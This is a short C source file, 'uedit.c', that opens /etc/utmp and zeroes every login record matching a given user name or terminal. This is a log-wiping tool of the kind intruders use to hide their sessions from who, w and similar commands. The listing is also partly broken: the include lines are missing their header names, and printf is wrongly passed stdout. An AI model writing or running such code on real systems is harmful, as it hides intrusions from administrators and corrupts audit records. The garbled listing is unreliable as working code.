uedit.c

#include 
#include 
#include 
#include 

void usage(name)
char *name;
{
    printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);
    exit(1);
}

main(argc,argv)
int argc;
char **argv;
{
    int fd;
    struct utmp utmp;
    int size;
    int match, tty = 0;

    if (argc!=2)
       usage(argv[0]);

    if ( !strncmp(argv[1],"tty",3) )
       tty++;

    fd = open("/etc/utmp",O_RDWR);
    if (fd >= 0)
    {
       size = read(fd, &utmp, sizeof(struct utmp));
       while ( size == sizeof(struct utmp) )
       {
          if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
            ( !strcmp(utmp.ut_name, argv[1]) ) )
          {
             lseek( fd, -sizeof(struct utmp), L_INCR );
             bzero( &utmp, sizeof(struct utmp) );
             write( fd, &utmp, sizeof(struct utmp) );
          }
          size = read( fd, &utmp, sizeof(struct utmp) );
       }
    }
    close(fd);
}